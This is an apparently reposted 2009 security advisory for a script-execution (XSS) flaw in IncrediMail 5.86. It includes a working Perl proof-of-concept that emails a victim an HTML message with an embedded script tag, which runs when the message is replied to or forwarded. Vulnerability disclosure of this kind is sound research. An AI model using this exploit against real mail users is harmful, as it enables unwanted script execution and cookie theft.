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Feeds -
Exploits
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Written by Bui Quang Minh
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Thursday, 26 March 2009 22:51 |
IncrediMail Script Execution Vulnerabilities
-\\Bugtraq ID:
34231
-\\Class:
Input Validation Error
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Mar 24 2009 12:00AM
-\\Updated:
Mar 26 2009 05:06PM
-\\Credit:
Bui Quang Minh
-\\Vulnerable:
IncrediMail Ltd. IncrediMail 5.86
-\\Discussion
IncrediMail is prone to multiple script-execution vulnerabilities because it fails to
properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the application.
IncrediMail 5.86 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
The following exploit code is available.
===============================================================
34231.pl
^^^^^^^^^
#!/usr/bin/perl -w
# IncrediMail Xe (latest version) XSS Vulnerability
#
# Discovered by : Bui Quang Minh
#
# Description : The most of popular Mail Client now exclude Script Code for mail content.
# It aims to avoid the type of XSS exploitation (For e.g: stolen cookie).
# IncrediMail also remove Script Code when the user read mail.
# However, I found the "Reply" and "Forward" function of the mail client
# has not handled mail content well resulting in XSS vulnerability.
#
# My Blog : http://minhbq.blogspot.com
use Net::SMTP;
# ARGV Check
if ($#ARGV != 2)
{
print "\nUSAGE: IncrediMail.pl <Mail Server> <Attacker Email> <VicTim Email>\n";
exit;
}
$host = $ARGV[0];
$attacker = $ARGV[1];
$victim = $ARGV[2];
# Config SMTP
$smtp = Net::SMTP->new( Host => $host,
Hello => 'Hello world',
Timeout => 30)
or die "Couldn't connect to Mail Server\n";
# Attacker and Victim email
$smtp->mail($attacker);
$smtp->to($victim);
# Send email
$buffer = "From: XSS Vulnerability\n".
"To: XSS Vulnerability\n".
"Subject: XSS Vulnerability\n".
"MIME-Version: 1.0\n".
"Content-Type: multipart/mixed;\n".
" boundary=\"--=451455784428388488539750457457151716025829662771784064026380543150341285
43847104614337851625097187549984363453814450535441019\"\n\n".
"----=4514557844283884885397504574571517160258296627717840640263805431503412854384710461433
7851625097187549984363453814450535441019\n".
"Content-Type: text/html;\n".
" charset=\"utf-8\"\n".
"Content-Transfer-Encoding: quoted-printable\n\n".
"Reply or Sender for XSS Vulnerability\n".
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n".
"<HTML><BODY>\n".
"<script> alert('XSS Vulnerability') </script>\n".
"</BODY></HTML>\n\n".
"----=45145578442838848853975045745715171602582966277178406402638054315034128543847104614337
851625097187549984363453814450535441019--";
$smtp->data();
$smtp->datasend($buffer);
$smtp->quit();
print "Send Finish.\n";
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if
you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--IncrediMail Homepage
http://www.incredimail.com/english/index.htm (IncrediMail Ltd.)
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